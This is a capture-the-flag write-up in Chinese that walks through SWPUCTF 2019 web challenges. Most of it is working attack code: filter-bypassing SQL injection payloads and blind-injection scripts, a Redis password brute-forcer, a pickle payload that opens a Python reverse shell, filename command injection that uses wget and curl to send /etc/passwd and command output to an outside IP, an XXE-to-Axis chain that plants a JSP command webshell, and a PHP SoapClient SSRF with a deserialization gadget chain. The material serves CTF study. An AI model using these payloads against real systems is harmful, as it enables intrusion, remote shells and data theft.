有一个登录框,试了试万能密码失败,那就注册吧
登录后发现有一个申请广告,在标题处输入11111111’,发现报错,应该是sql注入
禁用了or,空格等等,先使用union发现有22列
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
后面发现还可以用-1'/**/group/**/by/**/22,'1
,一样可以爆出为22列
查看数据库:-1'/**/union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
接下来卡住了,看师傅wp,发现过滤了information_schema,使用师傅的payload:
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
接下来是无列名注入,举栗子说明一下:
先是正常的查询:select * from users;
查询的时候一定要和表的列数相同 select 1,2,3 union select * from users;
若可用 ` 的话
select `3` from (select 1,2,3 union select * from users)a;
若不可用的话也可以用别名来代替
select b from (select 1,2,3 as b union select * from users)a;
那么即可构造payload如下
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
尝试另一个师傅的payload中使用sys.schema_auto_increment_columns
和sys.schema_table_statistics_with_buffer
发现都不存在,与环境有关吧
参考:
mysql.innodb_table_stats
聊一聊bypass information_schema
标题为Deserialization,注册后登录进去发现就存在一个提示
并且给了一个额外的端口,很有可能是redis相关的漏洞
参考:掌阅iReader某站Python漏洞挖掘
使用python2脚本来爆破redis密码
# -*- coding: utf-8 -*-
import socket
import sys
path = "E:/ctf/Web/字典文件/弱口令字典.txt"
path = unicode(path, 'utf8')
file = open(path,"r")
passwords=[]
while 1:
line = file.readline()
passwords.append(line.replace("\n",""))
if not line:
break
pass # do something
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#print u"[INFO] connecting " + ip + u":" + port
s.connect((ip, int(port)))
#print u"[INFO] connected "+ip+u":"+port+u" hacking..."
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"IP:{0}存在未授权访问".format(ip)
elif "Authentication" in result:
for passwd in passwords:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(passwd))
# print u"[HACKING] hacking to passwd --> "+passwd
result = s.recv(1024)
if 'OK' in result:
return u"IP:{0} 存在弱口令,密码:{1}".format(ip,passwd)
else:pass
else:pass
s.close()
except Exception:
pass
if __name__ == '__main__':
# default Port
port="28884"
ip = '117.21.200.166'
result = check(ip,port,timeout=10)
print(result)
得到密码password
redis-cli -h 117.21.200.166 -p 28884 -a password
连接成功后看看redis里面放了些什么:
发现为python里的Pickle,而Pickle是可以执行命令的
import cPickle
import os
import redis
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("110.42.134.160",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system, (s,))
e = exp()
s = cPickle.dumps(e)
r = redis.Redis(host='117.21.200.166',password="password", port=28884, db=0)
r.set("session:b87a278b-19f4-4409-8782-3e79236746a8", s)
这里需要使用linux执行脚本
上面的是linux执行的结果,下面是windows执行的结果,可以看到开头不一样
`
输入任意账号密码即可登陆进入,访问upload显示Permission denied!
查看源码,可以看到有一个404 not found的提示
在 flask 中,可以使用 app.errorhandler()装饰器来注册错误处理函数,参数是 HTTP 错误状态码或者特定的异常类,由此我们可以联想到在 404 错误中会有东西存在
访问一个不存在的路由:/logina
,显示404 not found,在 HTTP 头中我们可以看到一串 base64 字符串
base64解码后可以得到:SECRET_KEY:keyqqqwwweee!@#$%^&*
登录的时候显示了session,那么很有可能是用 secret_key 伪造 session 来进行越权,使用flask_session_cookie_manager工具
将id改为1成功登入upload,给出了源码:
@app.route('/upload',methods=['GET','POST'])
def upload():
if session['id'] != b'1':
return render_template_string(temp)
if request.method=='POST':
m = hashlib.md5()
name = session['password']
name = name+'qweqweqwe'
name = name.encode(encoding='utf-8')
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
ip = ip.encode(encoding='utf-8')
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path+filename
if "zip" != filename.split('.')[-1]:
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return 'error'
if not os.path.exists(path):
try:
os.makedirs(path)
except Exception as e:
return 'error'
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return 'error'
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)
except Exception as e:
return 'error'
unzip_file = zipfile.ZipFile(pathname,'r')
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html')
@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"
我们可以上传一个软链接压缩包,来读取其他敏感文件而不是我们上传的文件,同时结合 showflag()函数的源码,我们可以得知 flag.jpg 放在 flask 应用根目录的 flag 目录下。那么我们只要创建一个到/xxx/flask/flag/flag.jpg
的软链接,即可读取 flag.jpg 文件
在 linux 中,/proc/self/cwd/
会指向进程的当前目录,那么在不知道 flask 工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg
来访问 flag.jpg
ln -s /proc/self/cwd/flag/flag.jpg flag
zip -ry flag.zip flag
也可以使用 /proc/self/environ
,读取进程的环境变量,可以从中获取 flask 应用的绝对路径,再通过绝对路径制作软链接来读取 flag.jpg
ln -s /proc/self/environ where
zip -ry where.zip where
ln -s /ctf/hgfjakshgfuasguiasguiaaui/myflask/flag/flag.jpg flag
zip -ry flag.zip flag
-r:将指定的目录下的所有子目录以及文件一起处理
-y:直接保存符号连接,而非该连接所指向的文件,本参数仅在UNIX之类的系统下有效
存在一个命令执行
f=request.files['file']
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
filename = f.filename
pathname = path+filename
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)
可以在session['username']
注册用户名处执行命令,测试发现没有curl,不然可以直接
& curl 110.42.134.160:6666 -d "@/etc/passwd" #
& curl 110.42.134.160:6666 -d `whoami` #
& curl 110.42.134.160:6666 -T "/etc/passwd" #
我这里是直接在filename处使用$(sleep 5).zip
执行命令
filename因为是文件名,不能带有/
,ChaMd5的wp使用的是awk对变量赋值为/
,然后再调用,其实还可以使用${PATH:0:1}
,更加简单
尝试wget,flag文件名告诉了,直接读取即可
$(III=`awk 'BEGIN{printf \"%c\", 47}'`&&wget 110.42.134.160:6666${III}`whoami`).zip
$(wget 110.42.134.160:6666${PATH:0:1}`whoami`).zip
$(wget 110.42.134.160:6666${PATH:0:1}`cat .${PATH:0:1}flag${PATH:0:1}flag.jpg`).zip
假如我们不知道flag文件名,那么首先考虑如何读取目录,由于|
被过滤了,不能用|base64
,但是想到没有,我们可以将结果输出到一个文件,然后base64文件即可,发现base64会默认换行,导致读取不全,尝试-w
失败(搞了半天,最后给一个图片自行体会)
$(echo `ls`>1.txt).zip
$(wget 110.42.134.160:6666${PATH:0:1}`base64 -w 0 1.txt`).zip
经过多次测试发现,我们可以使用sh执行shell脚本,首先上传python反弹shell脚本
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("110.42.134.160",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
最后下载下来执行即可收到反弹shell
$(wget 110.42.134.160:8000${PATH:0:1}1.sh).zip
$(sh 1.sh).zip
只有一个js文件,看一下源码
主要功能是将username和password以json格式然后发给index.php?r=Login/Login
不难发现,username中加入单引号会直接500错误,而闭合引号后会正常显示。因此可大致确定注入存在,随后开始构造payload。由于题目对username进行了严格的检测,所以无法使用单语句进行注入,但是注入点又存在,于是可以尝试进行堆叠注入
测试发现在单引号后加入分号;
,若无法多语句执行,返回页面按理说应该是500,但在这里可以看到正常回显,说明可能存在堆叠注入
{"username":"1';SET @a=0x73656C65637420736C6565702835293B;PREPARE st FROM @a;EXECUTE st;","password":"admin'"}
import requests
import json
import time
def main():
#题目地址
url = '''http://3db58513-21a0-4e8b-a669-008b60747bf6.node4.buuoj.cn:81/index.php?r=Login/Login'''
#注入payload
payloads = "1';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
flag = ''
for i in range(1,30):
#查询payload
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(32,128):
#将构造好的payload进行16进制转码和json转码
time.sleep(0.1)
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'admin'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
if __name__ == '__main__':
main()
最后在flag表flag列中找出是一个glzjin_wants_a_girl_friend.zip
压缩包,解压得到源码,发现我们需要读取flag.php的源码
在/Controller/BaseController.php
中存在一个include函数,并使用了extract()函数对变量进行赋值,存在变量覆盖
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}
在/Controller/UserController.php
中调用了loadView,并且$listData
的值可控
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}
其对应的/View/userIndex.php
中存在一个文件读取
那么就连起来了,直接访问
http://3db58513-21a0-4e8b-a669-008b60747bf6.node4.buuoj.cn:81/index.php?r=User/Index&img_file=/../flag.php
/ctffffff/
最后发现为excel xxe
漏洞,CVE-2014-3529
Apache POI XML外部实体(XML External Entity,XXE)攻击详解
利用EXCEL进行XXE攻击
我们首先解压一个xlsx文件
然后找到[Content_Types].xml
,在第2行插入我们的payload
DOCTYPE x [
]>
<x>&xxe;x>
然后再重新压缩:zip -r xxe.xlsx *
,上传
发现 Java 版本信息为1.8.0_181
由于是无回显xxe,利用oob来读取本地文件
DOCTYPE a [
%dtd;
]>
<x>&send;x>
evil.dtd:
"> %payload;
但是这里不支持读取多行文件,失败
换种思路,可以读取一开始给的/ctffffff/backups/
目录下的文件,因为这个目录下的文件只有一个,所以我们可以直接列出,通过netdoc
DOCTYPE a [
%dtd;
]>
<x>&send;x>
得到备份的压缩包
发现存在axis和flag.class
访问路由会出现500的情况,flag.class没有权限读取 /flag 文件
axis 的 AdminService 服务可以部署一个类来作为服务,我们可以通过 XXE 来访问内网从而绕过 axis AdminService 的身份认证,然后寻找一个类部署为服务来进行 RCE 或者直接读取 flag
Axis Rce分析
POC:https://github.com/justforfunya/Axis-1.4-RCE-Poc
先用xxe打一次生成RandomService(注:写入的路径是:../webapps/axis/
,写入shell文件:bmth.jsp
)
!--><ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java" xmlns:ns1="http://xml.apache.org/axis/wsdd/"><ns1:service name="RandomService" provider="java:RPC"><requestFlow><handler type="RandomLog"/>requestFlow><ns1:parameter name="className" value="java.util.Random"/><ns1:parameter name="allowedMethods" value="*"/>ns1:service><handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" ><parameter name="LogHandler.fileName" value="../webapps/axis/bmth.jsp" /><parameter name="LogHandler.writeToConsole" value="false" />handler>
url编码传入
DOCTYPE a [
%dtd;
]>
POST /axis/services/RandomService HTTP/1.1
Host: 38cd7a12-af52-4f84-b483-a3c171e6c685.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
SOAPAction: something
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 874
<% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
]]>
被过滤的字符串:
like sleep regexp select limit benchmark and where ( ) union ascii
可以直接使用
' or passwd > '3' => Wrong password
' or passwd > '4' => wrong username or password => passwd第一位为'3'
写一个脚本来爆破账密码
import requests
import time
import binascii
url = "http://bd634940-5c48-4243-b452-2bcf9995c639.node4.buuoj.cn:81/index.php?method=login"
s = '0x'
for i in range(50):
for j in range(33,128):
time.sleep(0.1)
# username = "' or username > {}#" .format(s+hex(j)[2:])
username = "' or passwd > {}#" .format(s+hex(j)[2:])
data = {'username':username,'passwd':'123'}
r = requests.post(url,data=data)
if('wrong username or password'in r.text):
s = s + hex(j-1)[2:]
break
print("=>"+str(i)+" : "+binascii.unhexlify(s[2:]).decode('utf-8').lower())
最后一位需要+1,所以密码为glzjin_wants_a_girl_friend
,账号为xiaob
官方wp给出了万能密码可以直接登录:
用户名处 ' or '1'='1' group by passwd with rollup having passwd is NULL --
密码为空
登录成功之后查看wsdl.php
各个接口
hint
a few file may be helpful index.php Service.php interface.php se.php
get_flag
method can use get_flag only admin in 127.0.0.1 can get_flag
存在一个?method=File_read,尝试读取源码
POST:
filename=index.php
index.php:
ob_start();
include ("encode.php");
include("Service.php");
//error_reporting(0);
//phpinfo();
$method = $_GET['method']?$_GET['method']:'index';
//echo 1231;
$allow_method = array("File_read","login","index","hint","user","get_flag");
if(!in_array($method,$allow_method))
{
die("not allow method");
}
if($method==="File_read")
{
$param =$_POST['filename'];
$param2=null;
}else
{
if($method==="login")
{
$param=$_POST['username'];
$param2 = $_POST['passwd'];
}else
{
echo "method can use";
}
}
echo $method;
$newclass = new Service();
echo $newclass->$method($param,$param2);
ob_flush();
?>
首先我们需要越权成为admin,读取encode.php
function en_crypt($content,$key){
$key = md5($key);
$h = 0;
$length = strlen($content);
$swpuctf = strlen($key);
$varch = '';
for ($j = 0; $j < $length; $j++)
{
if ($h == $swpuctf)
{
$h = 0;
}
$varch .= $key{$h};
$h++;
}
$swpu = '';
for ($j = 0; $j < $length; $j++)
{
$swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);
}
return base64_encode($swpu);
}
给了我们cookie的加密方法,且key在wsdl.php的文件中可以找到:keyaaaaaaaasdfsaf.txt
,为flag{this_is_false_flag}
解密脚本:
function decrypt($data, $key)
{
$key = md5($key);
$x = 0;
$data = base64_decode($data);
$len = strlen($data);
$l = strlen($key);
$char = '';
for ($i = 0; $i < $len; $i++)
{
if ($x == $l)
{
$x = 0;
}
$char .= substr($key, $x, 1);
$x++;
}
$str = '';
for ($i = 0; $i < $len; $i++)
{
if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1)))
{
$str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
}
else
{
$str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
}
}
return $str;
}
$key = "flag{this_is_false_flag}";
echo decrypt("3J6Roahxaw==",$key);
?>
那么我们改为admin:1
,加密后替换cookie为xZmdm9NxaQ%3D%3D
,成功变成admin
最后就是通过ssrf执行get_flag了
构造写入的session:
$target = 'http://127.0.0.1/interface.php';
$headers = array('X-Forwarded-For:127.0.0.1', 'Cookie:user=xZmdm9NxaQ==');
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^'.join('^^',$headers),'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;
?>
ini_set('session.serialize_handler', 'php');
class aa
{
public $mod1;
public $mod2;
public function __call($name,$param)
{
if($this->{$name})
{
$s1 = $this->{$name};
$s1();
}
}
public function __get($ke)
{
return $this->mod2[$ke];
}
}
class bb
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test2();
}
}
class cc
{
public $mod1;
public $mod2;
public $mod3;
public function __invoke()
{
$this->mod2 = $this->mod3.$this->mod1;
}
}
class dd
{
public $name;
public $flag;
public $b;
public function getflag()
{
session_start();
var_dump($_SESSION);
$a = array(reset($_SESSION),$this->flag);
echo call_user_func($this->b,$a);
}
}
class ee
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->{$this->str2}();
return "1";
}
}
$first = new bb();
$second = new aa();
$third = new cc();
$four = new ee();
$first ->mod1 = $second;
$third -> mod1 = $four;
$f = new dd();
$f->flag='Get_flag';
$f->b='call_user_func';
$four -> str1 = $f;
$four -> str2 = "getflag";
$second ->mod2['test2'] = $third;
echo serialize($first);
?>
__destruct->__call->__get->__invoke->__toString->getflag
参考:
第十届SWPUCTFwriteup
SWPUCTF2019 WriteUp
2019 SWPU-ctf Web题解WriteUp